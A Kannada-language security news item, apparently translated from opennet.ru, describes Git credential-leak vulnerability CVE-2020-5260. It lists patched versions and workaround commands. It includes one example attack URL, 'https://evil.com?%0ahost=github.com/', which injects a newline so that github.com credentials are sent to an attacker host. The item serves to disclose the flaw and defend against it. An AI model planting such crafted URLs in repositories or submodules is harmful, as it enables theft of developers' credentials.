Git ರುಜುವಾತು ಸೋರಿಕೆ ದುರ್ಬಲತೆ

ಪ್ರಕಟಿಸಲಾಗಿದೆ ವಿತರಿಸಿದ ಮೂಲ ನಿಯಂತ್ರಣ ವ್ಯವಸ್ಥೆಯ ಸರಿಪಡಿಸುವ ಬಿಡುಗಡೆಗಳು Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ಮತ್ತು 2.17.4, ರಲ್ಲಿ ನಿರ್ಮೂಲನೆ ಮಾಡಿದ ದುರ್ಬಲತೆ (CVE-2020-5260) ಹ್ಯಾಂಡ್ಲರ್ನಲ್ಲಿ "ರುಜುವಾತು.ಸಹಾಯಕ", ಹೊಸ ಸಾಲಿನ ಅಕ್ಷರವನ್ನು ಹೊಂದಿರುವ ವಿಶೇಷವಾಗಿ ಫಾರ್ಮ್ಯಾಟ್ ಮಾಡಲಾದ URL ಅನ್ನು ಬಳಸಿಕೊಂಡು git ಕ್ಲೈಂಟ್ ರೆಪೊಸಿಟರಿಯನ್ನು ಪ್ರವೇಶಿಸಿದಾಗ ರುಜುವಾತುಗಳನ್ನು ತಪ್ಪಾದ ಹೋಸ್ಟ್‌ಗೆ ಕಳುಹಿಸಲು ಕಾರಣವಾಗುತ್ತದೆ. ಆಕ್ರಮಣಕಾರರಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುವ ಸರ್ವರ್‌ಗೆ ಕಳುಹಿಸಲು ಮತ್ತೊಂದು ಹೋಸ್ಟ್‌ನಿಂದ ರುಜುವಾತುಗಳನ್ನು ವ್ಯವಸ್ಥೆ ಮಾಡಲು ದುರ್ಬಲತೆಯನ್ನು ಬಳಸಬಹುದು.

"https://evil.com?%0ahost=github.com/" ನಂತಹ URL ಅನ್ನು ನಿರ್ದಿಷ್ಟಪಡಿಸುವಾಗ, ರುಜುವಾತು ಹ್ಯಾಂಡ್ಲರ್ ಹೋಸ್ಟ್ ದುಷ್ಟ.com ಗೆ ಸಂಪರ್ಕಿಸುವಾಗ github.com ಗಾಗಿ ನಿರ್ದಿಷ್ಟಪಡಿಸಿದ ದೃಢೀಕರಣ ನಿಯತಾಂಕಗಳನ್ನು ರವಾನಿಸುತ್ತದೆ. ಸಬ್ ಮಾಡ್ಯೂಲ್‌ಗಳಿಗಾಗಿ URL ಗಳನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸುವುದು ಸೇರಿದಂತೆ "git ಕ್ಲೋನ್" ನಂತಹ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ನಿರ್ವಹಿಸುವಾಗ ಸಮಸ್ಯೆ ಉಂಟಾಗುತ್ತದೆ (ಉದಾಹರಣೆಗೆ, "git submodule update" ರೆಪೊಸಿಟರಿಯಿಂದ .gitmodules ಫೈಲ್‌ನಲ್ಲಿ ನಿರ್ದಿಷ್ಟಪಡಿಸಿದ URL ಗಳನ್ನು ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಪ್ರಕ್ರಿಯೆಗೊಳಿಸುತ್ತದೆ). ಡೆವಲಪರ್ URL ಅನ್ನು ನೋಡದೆ ರೆಪೊಸಿಟರಿಯನ್ನು ಕ್ಲೋನ್ ಮಾಡುವ ಸಂದರ್ಭಗಳಲ್ಲಿ ದುರ್ಬಲತೆಯು ಅತ್ಯಂತ ಅಪಾಯಕಾರಿಯಾಗಿದೆ, ಉದಾಹರಣೆಗೆ, ಸಬ್ ಮಾಡ್ಯೂಲ್‌ಗಳೊಂದಿಗೆ ಕೆಲಸ ಮಾಡುವಾಗ ಅಥವಾ ಸ್ವಯಂಚಾಲಿತ ಕ್ರಿಯೆಗಳನ್ನು ನಿರ್ವಹಿಸುವ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ, ಉದಾಹರಣೆಗೆ, ಪ್ಯಾಕೇಜ್ ಬಿಲ್ಡ್ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳಲ್ಲಿ.

ಹೊಸ ಆವೃತ್ತಿಗಳಲ್ಲಿ ದೋಷಗಳನ್ನು ನಿರ್ಬಂಧಿಸಲು ನಿಷೇಧಿಸಲಾಗಿದೆ ರುಜುವಾತು ವಿನಿಮಯ ಪ್ರೋಟೋಕಾಲ್ ಮೂಲಕ ರವಾನೆಯಾಗುವ ಯಾವುದೇ ಮೌಲ್ಯಗಳಲ್ಲಿ ಹೊಸ ಸಾಲಿನ ಅಕ್ಷರವನ್ನು ರವಾನಿಸುವುದು. ವಿತರಣೆಗಳಿಗಾಗಿ, ಪುಟಗಳಲ್ಲಿ ಪ್ಯಾಕೇಜ್ ನವೀಕರಣಗಳ ಬಿಡುಗಡೆಯನ್ನು ನೀವು ಟ್ರ್ಯಾಕ್ ಮಾಡಬಹುದು ಡೆಬಿಯನ್, ಉಬುಂಟು, rhel, SUSE/openSUSE, ಫೆಡೋರಾ, ಆರ್ಚ್, ಫ್ರೀಬಿಎಸ್ಡಿ.

ಸಮಸ್ಯೆಯನ್ನು ತಡೆಯಲು ಪರಿಹಾರವಾಗಿ ಶಿಫಾರಸು ಮಾಡಲಾಗಿದೆ ಸಾರ್ವಜನಿಕ ರೆಪೊಸಿಟರಿಗಳನ್ನು ಪ್ರವೇಶಿಸುವಾಗ credential.helper ಅನ್ನು ಬಳಸಬೇಡಿ ಮತ್ತು ಪರಿಶೀಲಿಸದ ರೆಪೊಸಿಟರಿಗಳೊಂದಿಗೆ "--recurse-submodules" ಮೋಡ್‌ನಲ್ಲಿ "git ಕ್ಲೋನ್" ಅನ್ನು ಬಳಸಬೇಡಿ. credential.helper ಹ್ಯಾಂಡ್ಲರ್ ಅನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲು, ಅದು ಮಾಡುತ್ತದೆ ಸಂರಕ್ಷಣೆ ಮತ್ತು ಪಾಸ್‌ವರ್ಡ್‌ಗಳನ್ನು ಹಿಂಪಡೆಯಲಾಗುತ್ತಿದೆ ಸಂಗ್ರಹ, ರಕ್ಷಿಸಲಾಗಿದೆ ಕಮಾನುಗಳು ಅಥವಾ ಪಾಸ್‌ವರ್ಡ್‌ಗಳನ್ನು ಹೊಂದಿರುವ ಫೈಲ್, ನೀವು ಆಜ್ಞೆಗಳನ್ನು ಬಳಸಬಹುದು:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

ಮೂಲ: opennet.ru

ಕಾಮೆಂಟ್ ಅನ್ನು ಸೇರಿಸಿ